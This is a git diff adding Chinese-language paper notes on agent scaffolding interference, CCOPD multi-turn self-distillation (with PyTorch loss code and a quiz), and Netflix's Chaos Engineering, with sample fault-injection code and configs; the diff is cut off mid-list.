+- **两个 benchmark、有限步数**——SWE-bench 等更长程任务上 \(k^*\) 可能上移。
+- **三体协同 INT₃** 标记为 exploratory，需更多 seed 与任务外推。
+- 论文聚焦 **prompt-based scaffolding**，不包含 fine-tune 或 RL 训出的策略——CCI 是否存在于训后 Agent 仍待研究。
+- Claude Haiku 上差距接近噪声，**不等于**「 frontier 上 All-In 最优」——只是「差距小」，All-In 仍未夺冠。
+
+---
+
+## 一句话总结
+
+**LLM Agent 脚手架不是「功能越多越好」的自助餐，而是一道有交互副作用的配方题。** Cross-Component Interference 说的是：Planning、Memory 等模块会争抢同一 context 里的模型注意力；在 Llama-3.1-8B 上，HotpotQA 只要 Tool Use 就能比五件套高 32% \(F_1\)，GSM8K 则是精简的三组件组合比 All-In 高 79%。**默认全开 All-In，在论文测试的每一个设定里都是 suboptimal 的选择**——应用侧应改为任务感知、模型感知、交互感知的 **subset selection**。
+
+---
+
+## 延伸阅读
+
+- 原文：[arXiv:2605.05716](https://arxiv.org/abs/2605.05716)
+- 反模式梳理：[AgentPatterns — Cross-Component Interference](https://agentpatterns.ai/anti-patterns/cross-component-interference/)
+- 相邻问题：[Microsoft Research — Tool-space Interference](https://www.microsoft.com/en-us/research/video/tool-space-interference-an-emerging-problem-for-llm-agents/)
+- 记忆维度补充：本库笔记 [When Does Memory Help Multi-Trajectory Inference for Tool-Use LLM Agents?](/docs/papers/memory-tool-use-agents)
diff --git a/src/content/docs/papers/ccopd-distillation.md b/src/content/docs/papers/ccopd-distillation.md
new file mode 100644
index 000000000..43cd68c37
--- /dev/null
+++ b/src/content/docs/papers/ccopd-distillation.md
@@ -0,0 +1,368 @@
+---
+title: CCOPD — 多轮语言模型的规范上下文在线策略蒸馏
+来源: https://arxiv.org/abs/2605.30251
+日期: 2026-06-13
+子分类: 模型与训练
+分类: 机器学习
+provenance: pipeline-v3
+---
+
+## 从日常类比开始：同一道题，分三次说完 vs 一次说完
+
+想象你在帮朋友算婚礼餐饮预算。有两种沟通方式，**信息总量完全一样**：
+
+**方式 A（FULL，一次说完）**  
+「Jenny 婚礼 80 位客人，想要牛排的是想要鸡肉的 3 倍，牛排 $25、鸡肉 $18，总预算是多少？」
+
+**方式 B（RAW-SHARDED，分多轮说完）**  
+- 第 1 轮用户：「牛排 $25、鸡肉 $18，总预算是多少？」  
+- 助手（信息还不全）：「大概需要知道人数和比例……我先假设各一半？」← **自己猜了一个数**  
+- 第 2 轮用户：「80 位客人。」  
+- 助手：「那按刚才的假设……」← **继续沿用错误假设**  
+- 第 3 轮用户：「想要牛排的是想要鸡肉的 3 倍。」  
+- 助手最终答案：可能和方式 A **不一样**——不是因为它没收到全部事实，而是**被中间自己说过的话「锚定」了**。
+
+这就是论文标题 *Same Evidence, Different Answers* 的核心：**证据相同，答案却可能不同**。  
+浙江大学等作者提出的 **CCOPD（Canonical-Context On-Policy Distillation）**，目标是把这种「多轮分片说」时的表现，拉齐到「一次说全」时的表现——而且**不需要更强的外部教师模型**，也**不需要推理时额外修修补补**。
+
+---
+
+## 这篇论文在解决什么问题
+
+### 1. 规范上下文一致性（Canonical-Context Consistency）
+
+用户很少在第一句话就把任务说完整；真实对话里，约束往往是**逐轮披露**的。一个可靠的多轮模型应满足：
+
+> 当 RAW-SHARDED 对话里**所有用户侧证据**都已披露完毕时，最终答案分布应接近 **FULL**（一次性完整 prompt）条件下的分布。
+
+形式化写作：
+
+$$
+\pi(y \mid h(q)) \approx \pi(y \mid c(q))
+$$
+
+其中 $c(q)$ 是规范 FULL prompt，$h(q)$ 是任务等价的 RAW-SHARDED 历史。
+
+### 2. 自锚定漂移（Self-Anchored Drift）
+
+RAW-SHARDED 历史不只是「更长的 prompt」，它还包含模型**在信息不全时**自己生成的中间回复 $a_1, a_2, \ldots$。这些回复可能带有：
+
+- 未经验证的猜测  
+- 临时答案  
+- 过早的承诺  
+
+等最后一轮用户把缺失事实补全后，上下文里**用户证据已经完整**，但模型仍可能被**自己 earlier 的 assistant 文本**带偏——论文称此为 **self-anchored drift**。
+
+### 3. CCOPD 的思路（一句话）
+
+用**同一个基座模型**扮演两个角色：
+
+| 角色 | 输入 | 是否训练 |
+|------|------|----------|
+| **Teacher（教师）** | 干净的 FULL prompt | 冻结 |
+| **Student（学生）** | 真实的 RAW-SHARDED 多轮历史（含污染性的中间回复） | 可训练（LoRA） |
+
+学生在**自己 rollout 出的最终答案前缀**上生成；教师在同一答案前缀下、但 conditioning 于 FULL prompt，给出「规范」的下一 token 分布。训练最小化 **reverse KL**，把多轮路径的行为对齐到 FULL 路径——这是 **on-policy** 的：监督的是学生**实际走到的状态**，而非固定演示轨迹。
+
+---
+
+## 三种任务等价呈现模式
+
+论文沿用 Laban 等（2025）的 **task-equivalent sharding** 设定：
+
+| 模式 | 含义 | 典型用途 |
+|------|------|----------|
+| **FULL** | 完整题目一次给出 | 上界 / 教师条件 |
+| **CONCAT** | 所有 user shard 拼成一条，无中间 assistant 回复 | 对照：有分片、无自污染 |
+| **RAW-SHARDED** | 用户逐轮披露 shard，中间穿插**真实模型**生成的 assistant 回复 |  hardest：测 self-anchored drift |
+
+GSM8K 风格训练里，shard 构造有个刻意设计：**第一个 shard 往往是「问题句/所求量」**，支持事实排在后面——迫使模型在信息不全时也要说话，从而制造真实的中间污染。
+
+---
+
+## 核心概念详解
+
+### 1. 局部呈现差距 $\Psi_\pi(q, s)$
+
+固定同一个答案前缀 $s$，比较两种呈现下下一 token 分布的差异：
+
+$$
+\Psi_\pi(q, s) = D_{\mathrm{KL}}\!\left(\pi(\cdot \mid h(q), s) \,\|\, \pi(\cdot \mid c(q), s)\right)
+$$
+
+- 同一模型、同一前缀，**只换上下文呈现方式**  
+- 值越大 → 该前缀处模型对「分片历史 vs 完整 prompt」越敏感  
+- CCOPD 把这个差距变成训练信号
+
+### 2. On-Policy Canonical Relabeling
+
+对每个保留的 pair $(c, h)$：
+
+1. 学生从 RAW-SHARDED 历史 $h$ **采样**最终答案 rollout $\hat{y}_{1:T}$  
+2. 对每个属于最终答案的 token 位置 $t$，计算  
+   - 学生：$p_\theta(\cdot \mid h, \hat{y}_{<t})$  
+   - 教师：$p_{\mathrm{teacher}}(\cdot \mid c, \hat{y}_{<t})$（同 backbone，冻结）  
+3. 在 **final-answer mask** 上最小化 reverse KL：
+
+$$
+\mathcal{L}_{\mathrm{CCOPD}} = \sum_{t \in T_{\mathrm{ans}}(\hat{y})} D_{\mathrm{KL}}\!\left(p_\theta(\cdot \mid h, \hat{y}_{<t}) \,\|\, p_{\mathrm{teacher}}(\cdot \mid c, \hat{y}_{<t})\right)
+$$
+
+要点：
+
+- Teacher 是 **presentation-privileged**（看得到 FULL），不是 **information-privileged**（没有额外知识）  
+- 学生**永远看不到** FULL prompt；必须学会在「被污染的历史」里仍给出与 FULL 一致的行为  
+- **Same-prefix**：两边 scoring 的是**同一条**学生自己生成的答案前缀
+
+### 3. 诊断探针：SAAR 与中性占位符
+
+**SAAR（Self-Anchor Attention Ratio）**：最终答案 token 对「已完成用户证据 span」vs「早期 assistant 承诺 span」的注意力比值。SAAR 低说明模型更盯着自己说过的话。
+
+**Neutral-placeholder contrast**：把中间 assistant 回复换成中性等待语（如「好的，我继续等你补充信息」），看预测状态离 FULL 参考有多远。若替换后 KL 差距缩小 → 说明原 process reply 确实在制造 canonical deviation。
+
+### 4. 与推理时修复、澄清 abstention 的区别
+
+| 路线 | 做法 | CCOPD 差异 |
+|------|------|------------|
+| Reflexion / Self-Refine | 推理时再反思、重写 | CCOPD 在**训练**内化，不加控制环 |
+| 澄清 / abstention | 信息不全时先问、先等 | 论文假设**最后一轮证据已齐**，问题在 self-contamination |
+| 普通 off-policy 蒸馏 | 跟固定 teacher 轨迹 | CCOPD 跟学生**自己 on-policy** 走到的前缀 |
+
+---
+
+## 实验结果（论文摘要级）
+
+- **训练**：仅 GSM8K / GSM8K-Aug 的 RAW-SHARDED 数学对话（约 6k–8k pair），Qwen3-8B + LoRA（约 0.53% 可训练参数）  
+- **RAW-SHARDED**：相对 base 平均 **+32% 相对提升**（跨 6 个任务族）  
+- **FULL / CONCAT**： largely preserved，没有明显牺牲一次性 prompt 能力  
+- **零样本迁移**：数学训练信号改善 **Code、Function Call、Text-to-SQL、ToTTo、SummHay** 等 5 类非数学 RAW-SHARDED 任务  
+- **反向实验**：HotpotQA 上训练 CCOPD，数学 RAW-SHARDED 也从 66% → 77%——说明信号不绑死「数学格式」  
+- **强污染测试**：在完整上下文中插入错误 assistant 解或 user 侧「已验证错误答案」提示，CCOPD 模型显著更抗污染（如 assistant-side 33% → 89%）
+
+---
+
+## 代码示例 1：把一道数学题切成 RAW-SHARDED 静态 shard
+
+下面模拟论文 Appendix F 的**确定性分片**逻辑（简化版）：先找问句 shard，其余事实按原文顺序排在后面。
+
+```python
+import re
+from dataclasses import dataclass
+
+@dataclass
+class ShardedTask:
+    full_prompt: str
+    shards: list[str]  # 用户逐轮披露的顺序
+
+def split_into_sentences(text: str) -> list[str]:
+    text = re.sub(r"\s+", " ", text.strip())
+    parts = re.split(r"(?<=[.?!])\s+", text)
+    if len(parts) >= 2:
+        return [p.strip() for p in parts if p.strip()]
+    # fallback: 按连接词切
+    for conj in (" while ", " if ", " when ", " then ", " but ", " and "):
+        if conj in text.lower():
+            return [s.strip() for s in re.split(conj, text, flags=re.I) if s.strip()]
+    return [text]
+
+def build_static_shards(question: str) -> ShardedTask:
+    units = split_into_sentences(question)
+    # 含问号的最后一句作为 query shard（论文：先问「所求量」）
+    query_idx = max(i for i, u in enumerate(units) if "?" in u) if any("?" in u for u in units) else len(units) - 1
+    query = units[query_idx]
+    facts = [u for i, u in enumerate(units) if i != query_idx]
+    shards = [query] + facts
+    return ShardedTask(full_prompt=question, shards=shards)
+
+# GSM8K 风格例题（论文 Table 7）
+q = (
+    "Jenny is planning her catering budget for her wedding. "
+    "She is going to have 80 guests. 3 times as many guests want steak as chicken. "
+    "If each steak entree costs $25 and each chicken entree costs $18, "
+    "how much is the total catering budget?"
+)
+task = build_static_shards(q)
+print("FULL:\n", task.full_prompt, "\n")
+print("RAW-SHARDED 用户轮次:")
+for i, shard in enumerate(task.shards, 1):
+    print(f"  Turn {i} user: {shard}")
+# 真实 RAW-SHARDED 还会在每轮 user 后插入 assistant 的 process reply —— 污染来源
+```
+
+**读法**：`shards[0]` 往往在信息不全时就问「总预算是多少？」；模型若此时瞎猜并写入上下文，后面即使用 FULL 等价证据补全，也可能 **self-anchor** 到错误中间态。
+
+---
+
+## 代码示例 2：CCOPD 的 reverse-KL 损失（PyTorch 伪代码）
+
+这是对论文 §4.2 训练目标的**教学级**实现骨架：同一前缀、双条件、只 mask 最终答案 token。
+
+```python
+import torch
+import torch.nn.functional as F
+
+def reverse_kl(student_logits, teacher_logits, mask):
+    """
+    student_logits, teacher_logits: [batch, seq_len, vocab]
+    mask: [batch, seq_len] bool，True 表示属于 final-answer 位置
+    """
+    # 只在 mask 位置算 KL( student || teacher )
+    s_logp = F.log_softmax(student_logits, dim=-1)
+    t_logp = F.log_softmax(teacher_logits, dim=-1)
+    t_prob = t_logp.exp()
+
+    kl_token = (t_prob * (t_logp - s_logp)).sum(dim=-1)  # [batch, seq_len]
+    kl = (kl_token * mask.float()).sum() / mask.float().sum().clamp(min=1)
+    return kl
+
+def ccopd_step(student_model, teacher_model, full_ids, raw_history_ids, tokenizer):
+    """
+    full_ids: FULL prompt token ids（仅 teacher 可见）
+    raw_history_ids: RAW-SHARDED 历史，止于 final user turn（仅 student 可见）
+    """
+    teacher_model.eval()
+    for p in teacher_model.parameters():
+        p.requires_grad = False
+
+    # 1) 学生 on-policy rollout 最终答案
+    with torch.no_grad():
+        gen = student_model.generate(
+            raw_history_ids,
+            max_new_tokens=512,
+            do_sample=True,
+            temperature=1.0,
+            top_p=0.95,
+        )
+    answer_start = raw_history_ids.shape[1]
+    answer_ids = gen[:, answer_start:]
+    prefix_ids = gen[:, :answer_start + answer_ids.shape[1]]
+
+    # 2) 构造 final-answer mask（简化：生成段全部计入）
+    seq_len = prefix_ids.shape[1]
+    mask = torch.zeros_like(prefix_ids, dtype=torch.bool)
+    mask[:, answer_start:] = True
+
+    # 3) 双路 forward：同一 prefix，不同 conditioning
+    # Teacher: condition on FULL + shared answer prefix
+    teacher_in = torch.cat([full_ids, answer_ids], dim=1)
+    teacher_logits = teacher_model(teacher_in).logits[:, full_ids.shape[1]-1:-1]
+
+    # Student: condition on RAW history + shared answer prefix
+    student_logits = student_model(prefix_ids).logits[:, answer_start-1:-1]
+
+    loss = reverse_kl(student_logits, teacher_logits, mask[:, answer_start:])
+    loss.backward()
+    return loss.item()
+```
+
+**对应关系**：
+
+- `teacher_model` = 冻结的同 backbone FULL 条件  
+- `student_model` = 可训练 RAW-SHARDED 条件  
+- `reverse KL` 把学生分布拉向教师——学生若被 self-anchor 带偏，在该前缀上的 logits 会与 FULL 教师不一致，梯度推动修正
+
+---
+
+## 代码示例 3：演示 self-anchored drift 的对话结构
+
+```python
+from dataclasses import dataclass
+
+@dataclass
+class Turn:
+    role: str
+    content: str
+
+def raw_sharded_history() -> list[Turn]:
+    """同一 FULL 题的信息，分多轮披露；assistant 中间回复可能污染最终答案。"""
+    return [
+        Turn("system", "You are a helpful math tutor."),
+        Turn("user", "If steak is $25 and chicken is $18, what's the total catering budget?"),
+        Turn("assistant", "I'll assume 50 steak and 30 chicken guests for now... budget ≈ $1790."),
+        Turn("user", "There are 80 guests total."),
+        Turn("assistant", "Keeping my earlier split, adjusting slightly..."),
+        Turn("user", "Three times as many want steak as chicken."),
+        # 下一 turn 才应给出最终答案；但上下文里已留下错误 numeric anchor
+    ]
+
+def full_prompt() -> str:
+    return (
+        "Jenny's wedding: 80 guests; steak guests = 3× chicken guests; "
+        "steak $25, chicken $18. Total catering budget?"
+    )
+
+# CCOPD 训练目标：在 raw_sharded_history() 条件下生成的最终答案，
+# 其 token 分布应接近在 full_prompt() 条件下、同一答案前缀上的分布。
+```
+
+---
+
+## 训练配置速查（论文 Appendix J）
+
+| 项目 | 配置 |
+|------|------|
+| 基座 | Qwen3-8B |
+| 微调 | LoRA r=16, α=32, ~43.65M 参数 |
+| 数据 | 6k RAW-SHARDED 数学对话 |
+| 目标 | CCOPD KL-only |
+| LR | 3e-5，AdamW，4 epochs |
+| Rollout | temperature=1.0, top-p=0.95, max 4096 new tokens |
+| 算力 | ~132 GPU·hours（RTX 4090） |
+
+---
+
+## 与相关工作的关系
+
+- **Lost in Conversation / Laban 2025**：提出 task-equivalent sharding 评测框架；CCOPD 在其 RAW-SHARDED 设定上训练与评估  
+- **On-Policy Distillation (OPD)**：一般让学生跟 teacher 的 on-policy 轨迹；CCOPD 的特殊性是 **同 backbone、不同呈现**，teacher 并非更强模型  
+- **OPCD（On-Policy Context Distillation, arXiv:2602.12275）**：把上下文蒸馏进参数；CCOPD 专注 **多轮呈现不变性** 而非压缩 system prompt  
+- **Locally Coherent, Globally Incoherent（2605.30335）**：都涉及「局部看起来合理、全局却有问题」；CCOPD 是**单模型多轮**层面的 self-anchor，LCGI 是**多组件 Agent** 层面的概率不一致
+
+---
+
+## 局限与论文自述边界
+
+1. **Shard 构造是确定性的 GSM8K 风格**，不覆盖所有自然多轮对话形态  
+2. **English only**，任务族以 instruction-following / reasoning 为主  
+3. **不能宣称**对所有 full-context 污染格式都免疫——强 user-side hint 仍比 assistant-side 更难  
+4. 提升 task correctness ≠ 通用安全 / 事实性保证；部署仍需原有 guardrails  
+5. 测试时 lightweight reset/defer prompt 对 CCOPD 模型反而略降分——说明能力已**内化**，额外 meta 指令冗余
+
+---
+
+## 给工程师的 takeaway
+
+1. **多轮 ≠ 长 prompt**：assistant 历史是**一阶公民**，会改变最终答案分布  
+2. **评测要分 FULL / RAW-SHARDED**：只在 FULL 上刷分，无法代表真实聊天产品  
+3. **CCOPD 是训练处方**：同模型自蒸馏 + FULL 作 canonical view + on-policy reverse KL  
+4. **数学-only 训练可迁移**：对齐「等证据不同呈现」这一**元能力**，不绑具体领域  
+5. 若你在做 agent / 多轮 copilot：优先检查是否存在 **self-anchored drift**（中间 tool 输出、草稿、错误假设是否污染最终决策）
+
+---
+
+## 延伸阅读
+
+- 论文 HTML：[arXiv:2605.30251](https://arxiv.org/html/2605.30251v1)  
+- 相关工作：Laban et al. (2025) sharded instruction evaluation  
+- 同期：**OPCD**（上下文内化蒸馏）、**LCGI**（多组件全局不一致）
+
+---
+
+## 自测题
+
+1. FULL 与 RAW-SHARDED 在**用户证据**上等价时，为什么答案仍可能不同？  
+2. CCOPD 的 teacher 比 student「强」吗？强在哪里、不强在哪里？  
+3. 为什么是 **reverse KL** 且只在 **final-answer mask** 上算？  
+4. CONCAT 模式在 ablation 里通常起什么对照作用？  
+5. 若只有推理预算、不能训练，论文 Appendix H 哪种 test-time mode 对 base 模型更有帮助？
+
+<details>
+<summary>参考答案（先自己想）</summary>
+
+1. 中间 assistant 回复在信息不全时引入 unsupported assumptions，最终轮仍 conditioning 于这些 self-generated text → self-anchored drift。  
+2. 不强在能力：同一 Qwen3-8B backbone；强在**呈现**——teacher 看 FULL，student 看 RAW-SHARDED。无外部更强模型。  
+3. Reverse KL 模式覆盖：让学生分布贴近 FULL 教师；mask 限制在最终答案，避免蒸馏过程回复的格式差异干扰。  
+4. CONCAT 有分片、无 assistant 污染，用来分离「分片本身」vs「self-anchor」的贡献。  
+5. **Reset-then-answer**（每轮先重述 Current goal）对 base 帮助更大；defer-until-complete 收益很小。
+
+</details>
diff --git a/src/content/docs/papers/chaos-engineering-netflix-2016.md b/src/content/docs/papers/chaos-engineering-netflix-2016.md
new file mode 100644
index 000000000..0a977d945
--- /dev/null
+++ b/src/content/docs/papers/chaos-engineering-netflix-2016.md
@@ -0,0 +1,279 @@
+---
+title: Chaos Engineering — Netflix 如何把「故意搞破坏」变成可靠性学科
+来源: https://arxiv.org/abs/1702.05843
+日期: 2026-06-13
+分类: 其他
+子分类: 工程文化
+provenance: pipeline-v3
+---
+
+## 先想成什么事
+
+想象你管理一栋**大型商场**（这就是 Netflix 那样的分布式在线服务）：
+
+- 电梯、空调、收银、监控、消防喷淋各自是不同承包商（微服务）。
+- 顾客以为自己在逛「一家店」，背后其实是几十套系统同时协作。
+- 真正可怕的不是「某台收银机坏了」——而是**连锁反应**：电梯卡死 → 疏散通道堵死 → 监控误报 → 全场停业。
+
+传统做法像**等火灾再练逃生**：上线前做单元测试、集成测试、预发压测，然后祈祷生产别出事。问题是：测试环境再像生产，也模拟不了「周三晚高峰 + 某个机房光缆被挖断 + 配置中心推了错误参数」这种组合。
+
+Netflix 的做法像**定期消防演习**，而且演习发生在**营业中的商场**：
+
+- 随机关掉几台收银机（Chaos Monkey 杀 EC2 实例），看顾客能不能换队伍结账。
+- 偶尔模拟**整层停电**（Chaos Kong 区域级演练）。
+- 让部分服务之间的「内部电话」故意占线（Failure Injection Testing，FIT），看推荐页能不能降级成静态列表。
+
+这篇论文（Basiri、Hochstein 等，**IEEE Software** 2016 年 5–6 月，arXiv:1702.05843）把上述实践提炼成一门学科：**混沌工程（Chaos Engineering）**——在分布式系统上**做受控实验**，从而建立「生产环境能承受动荡」的信心。
+
+## 这篇论文在说什么
+
+| 维度 | 内容 |
+|------|------|
+| 标题 | Chaos Engineering |
+| 作者 | Ali Basiri, Narayan Behnam, Rudolph de Rooij, Lorin Hochstein, Jon Kosewski, Jake Reynolds, Colin Rosenthal（Netflix） |
+| 发表 | IEEE Software, vol. 33, no. 3, pp. 35–41, May–June 2016 |
+| arXiv | [1702.05843](https://arxiv.org/abs/1702.05843)（2017-02 提交） |
+| 延伸 | [Principles of Chaos Engineering](https://principlesofchaos.org/)（业界四原则与实验步骤的公开版） |
+
+论文核心论断：
+
+> **混沌工程是在分布式系统上进行实验的学科，目的是建立系统在生产动荡条件下仍能正常工作的信心。**
+
+「动荡」可以是硬件宕机、流量突增、配置项写错、依赖服务超时——任何能让**可观测行为**偏离常态的事件。
+
+## 为什么值得读（零基础也能建立图景）
+
+现代服务几乎都是**分布式系统**：多实例、多机房、异步队列、缓存、CDN、第三方 API。组件单独测过「能跑」，组合起来会出现论文里说的 **emergent behavior（涌现行为）**——没人写过的那条失败路径，往往在第一次大促才现身。
+
+混沌工程不是「运维发疯删库」，而是把可靠性验证变成**可重复的科学实验**：
+
+- 有**假设**（steady state 不会被破坏）
+- 有**对照**（实验组注入故障 vs 对照组）
+- 有**度量**（错误率、延迟分位数、业务 KPI）
+- 有**自动化**（否则一次手工演练的结论会随代码腐烂而过期）
+
+它和 [[helland-2007]]「大规模下别迷信分布式事务」、[[spanner]] 多副本一致性、[[firecracker-microvm-2020]] 隔离边界是同一可靠性谱系的不同切面：前者讲架构取舍，混沌工程讲**如何在真实流量下验证这些取舍没骗人**。
+
+## 核心概念
+
+### 1. 稳态（Steady State）
+
+不要盯着「CPU 是不是 37%」这种内部指标，而要找**能代表系统「正常工作」的可测量输出**：
+
+- 吞吐量（如每秒成功播放次数）
+- 错误率
+- 延迟分位数（p50 / p95 / p99）
+- 业务 KPI（注册转化率、订单完成率）
+
+论文与 principlesofchaos.org 都强调：**稳态是一段时间内输出指标的集合**，是系统行为的「代理变量」。实验就是看注入故障后，这些输出是否仍落在正常带内。
+
+Netflix 历史上用 **SPS（starts per second，每秒播放启动次数）** 作为关键稳态信号之一——观众点播放，系统就必须在可接受延迟内出画面。
+
+### 2. 实验四步法（设计一次混沌实验）
+
+论文给出的流程与科学实验模板一致：
+
+1. **定义稳态**：选可观测输出，划定「正常」区间。
+2. **建立假设**：对照组与实验组在注入前都应保持稳态；注入真实世界事件后，**稳态仍应成立**（或按设计优雅降级）。
+3. **引入变量**：从「现实中可能发生的事件」采样——宕机、磁盘坏、网络断、依赖超时、流量尖峰、错误配置。
+4. **试图证伪**：若实验组稳态与对照组显著偏离，假设被推翻——你发现了可靠性漏洞，而不是「实验失败」。
+
+注意：证伪成功 = 工程上的胜利，因为你赶在用户之前找到了 bug。
+
+### 3. 混沌工程的四大原则
+
+| 原则 | 含义 | 直觉 |
+|------|------|------|
+| **围绕稳态建立假设** | 实验检验的是可观测行为，不是「某台机器灯还亮着」 | 顾客能看电影，比「Pod 还在」重要 |
+| **变化真实世界事件** | 刺激应从历史故障、告警、变更记录里采样 | 专挑发生过的问题重演 |
+| **在生产环境运行** | 真实流量路径与资源竞争无法被测试环境完全复制 | 演习要在营业中进行（有安全绳） |
+| **持续自动化** | 手工演练会腐烂；系统每次发布都改变失败模式 | 消防演习要进 CI/CD，而不是年终一次 |
+
+第三条最反直觉，也最有争议：**没有 blast radius 控制、没有自动熔断和回滚的生产实验是鲁莽，不是混沌工程。**
+
+### 4. Netflix 工具谱系（论文语境）
+
+| 工具 | 做什么 | 规模 |
+|------|--------|------|
+| **Chaos Monkey** | 在工作时间随机终止生产 EC2 实例 | 单机 / 单实例 |
+| **Chaos Kong** | 模拟整个 AWS 区域不可用 | 区域级 |
+| **FIT**（Failure Injection Testing） | 让服务间调用失败，验证降级路径 | 依赖 / RPC 级 |
+| **ChAP**（Chaos Automation Platform，后续工作 arXiv:1702.05849） | 分流一小部分线上流量并注入故障，自动比对稳态 | 持续自动化 |
+
+Chaos Monkey 故意只在**工作时间**运行，以便工程师能立刻响应——这本身就是 blast radius 设计。后来社区开源了 [Netflix/chaosmonkey](https://github.com/Netflix/chaosmonkey)（Go，与 Spinnaker 集成）。
+
+## 代码示例一：用 Python 描述「稳态假设 + 实验」骨架
+
+下面不是 Netflix 内部代码，而是把论文四步法翻译成可运行的**最小实验框架**：在注入故障前后拉 Prometheus 指标，判断稳态是否被破坏。
+
+```python
+from dataclasses import dataclass
+from time import sleep
+import random
+import requests
+
+PROM = "http://localhost:9090/api/v1/query"
+
+@dataclass
+class SteadyState:
+    """稳态：错误率 < 1% 且 p99 延迟 < 500ms"""
+    max_error_rate: float = 0.01
+    max_p99_seconds: float = 0.5
+
+    def observe(self) -> dict:
+        err = float(requests.get(PROM, params={
+            "query": 'rate(http_requests_total{status=~"5.."}[1m])'
+                     '/ rate(http_requests_total[1m])'
+        }).json()["data"]["result"][0]["value"][1])
+        p99 = float(requests.get(PROM, params={
+            "query": 'histogram_quantile(0.99, rate(http_request_duration_seconds_bucket[1m]))'
+        }).json()["data"]["result"][0]["value"][1])
+        return {"error_rate": err, "p99": p99}
+
+    def is_healthy(self, m: dict) -> bool:
+        return m["error_rate"] < self.max_error_rate and m["p99"] < self.max_p99_seconds
+
+def kill_random_instance(asg_client, group_name: str) -> str:
+    """混沌变量：终止一台实例（类比 Chaos Monkey）"""
+    inst = random.choice(asg_client.describe_instances(group_name))
+    asg_client.terminate_instance(inst)
+    return inst
+
+def run_experiment(asg_client, group_name: str) -> bool:
+    steady = SteadyState()
+    baseline = steady.observe()
+    assert steady.is_healthy(baseline), "对照组尚未稳态，拒绝实验"
+
+    victim = kill_random_instance(asg_client, group_name)
+    print(f"injected: terminated {victim}")
+
+    sleep(120)  # 等待流量重均衡
+    after = steady.observe()
+    hypothesis_holds = steady.is_healthy(after)
+    print(f"baseline={baseline} after={after} hypothesis_holds={hypothesis_holds}")
+    return hypothesis_holds
+
+if __name__ == "__main__":
+    ok = run_experiment(asg_client=..., group_name="api-prod")
+    if not ok:
+        raise SystemExit("稳态被破坏 — 需要修复冗余/超时/熔断，而非责怪实验")
+```
+
+要点：
+
+- **先验证对照组健康**，否则实验没有基线。
+- **注入后等待足够长**，让负载均衡、缓存预热、熔断器状态稳定下来再判定。
+- 失败时默认是**系统设计问题**，不是「别做混沌」。
+
+## 代码示例二：Kubernetes 上用 Litmus 做「依赖超时」实验
+
+第二类常见变量不是杀 Pod，而是**让下游变慢或失败**（对应 FIT / 微服务降级验证）。LitmusChaos 是 CNCF 生态里常用的混沌框架；下面是一个 `NetworkChaos` 片段，对 `catalog` 服务的出站流量注入延迟：
+
+```yaml
+apiVersion: litmuschaos.io/v1alpha1
+kind: ChaosEngine
+metadata:
+  name: catalog-network-latency
+  namespace: production
+spec:
+  appinfo:
+    appns: production
+    applabel: "app=catalog"
+    appkind: deployment
+  chaosServiceAccount: litmus-admin
+  experiments:
+    - name: pod-network-latency
+      spec:
+        components:
+          env:
+            - name: NETWORK_LATENCY
+              value: "2000"          # 注入 2s 延迟
+            - name: TARGET_CONTAINER
+              value: "catalog"
+            - name: DESTINATION_HOSTS
+              value: "ratings.default.svc.cluster.local"
+            - name: TOTAL_CHAOS_DURATION
+              value: "300"           # 持续 5 分钟
+        probe:
+          - name: "checkout-success-rate"
+            type: "promProbe"
+            mode: "Continuous"
+            promProbe/inputs:
+              endpoint: "http://prometheus.monitoring:9090"
+              query: |
+                sum(rate(checkout_completed_total[1m]))
+                / sum(rate(checkout_attempted_total[1m]))
+              comparator:
+                type: "float"
+                criteria: ">="
+                value: "0.995"         # 结账成功率仍须 ≥ 99.5%
+```
+
+这段配置体现了论文原则：
+
+- **真实事件**：网络变慢是数据中心日常风险。
+- **稳态探针**：用业务指标 `checkout_completed` 而非仅看 Pod Ready。
+- **有界时长**：300 秒后自动停止，控制 blast radius。
+
+若探针在实验期间失败，Litmus 会把实验标为失败——等价于**证伪了「ratings 慢 2 秒不影响结账」的假设**。
+
+## 实验设计清单（上手时可打印）
+
+1. **稳态指标是否与用户痛苦对齐？**（别只监控 CPU）
+2. **爆炸半径**：能否限制在单个区域、单个集群、1% 流量（ChAP 思路）？
+3. **能否一键中止？**（Kill switch、实验 TTL）
+4. **是否在流量低谷先试？**（Chaos Monkey 的工作时间策略）
+5. **事后有没有写 postmortem 并反哺下一批变量？**（论文强调用历史 outage 采样刺激）
+6. **是否自动化到每次发布都跑？**（否则结论会腐烂）
+
+## 与其他实践的关系
+
+| 实践 | 与混沌工程的关系 |
+|------|------------------|
+| **单元 / 集成测试** | 验证「组件按 spec 工作」；混沌验证「组合在动荡下仍工作」 |
+| **金丝雀发布** | 控制变更风险；混沌控制**基础设施与依赖**风险，二者互补 |
+| **游戏日（Game Day）** | 常用手工、大规模演练；混沌工程强调**持续、自动化、可度量** |
+| **故障注入（Fault Injection）** | 混沌工程是其上的**实验方法论 + 文化**（假设、稳态、生产、自动化） |
+
+O'Reilly《Chaos Engineering》一书（Rosenthal、Jones 等）把 Netflix 经验推广为行业手册；Kubernetes 生态的 [Chaos Mesh](https://github.com/chaos-mesh/chaos-mesh)、[Litmus](https://litmuschaos.io/)、AWS [Fault Injection Simulator](https://aws.amazon.com/fis/) 都是同一思想的工程产品化。
+
+## 常见误解
+
+1. **「混沌 = 随机删生产」** — 没有假设、没有稳态度量、没有半径控制，那只是事故。
+2. **「测试环境做就行」** — 测试环境缺少真实流量组合、缓存状态、租户隔离压力；论文明确偏向生产（在有保护措施的前提下）。
+3. **「一次通过就永久安全」** — 代码、配置、流量模式一直在变；实验必须**持续自动化**重复。
+4. **「只有大公司才需要」** — 三个微服务 + 一个 Redis 也会有级联超时；规模小反而更该用**小半径**实验养成习惯。
+
+## 踩过的坑（Netflix 与社区共识）
+
+1. **稳态选错**：监控 Pod 存活，却漏掉「播放启动成功率」下跌——用户已经受影响，实验却显示 green。
+2. **对照组不存在**：全集群一起注入，无法区分是故障还是本来就有发布——论文四步法要求能比较实验组与对照组行为。
+3. **没有超时上限**：2 秒网络延迟实验跑了 6 小时，把缓存打穿——`TOTAL_CHAOS_DURATION` 不是装饰。
+4. **组织未就绪**：开发从未写过降级路径，第一次 Chaos Monkey 等于通知全公司「我们没做冗余」——文化上要先让「实例会死」成为默认假设（论文：工程师被迫把容错当日常设计）。
+5. **与变更窗口打架**：在大促当天做区域级 Kong 演练 — 半径与业务日历冲突。
+
+## 适用 vs 不适用
+
+**适用**：
+
+- 多实例、多依赖的在线服务（流媒体、电商、API 平台）
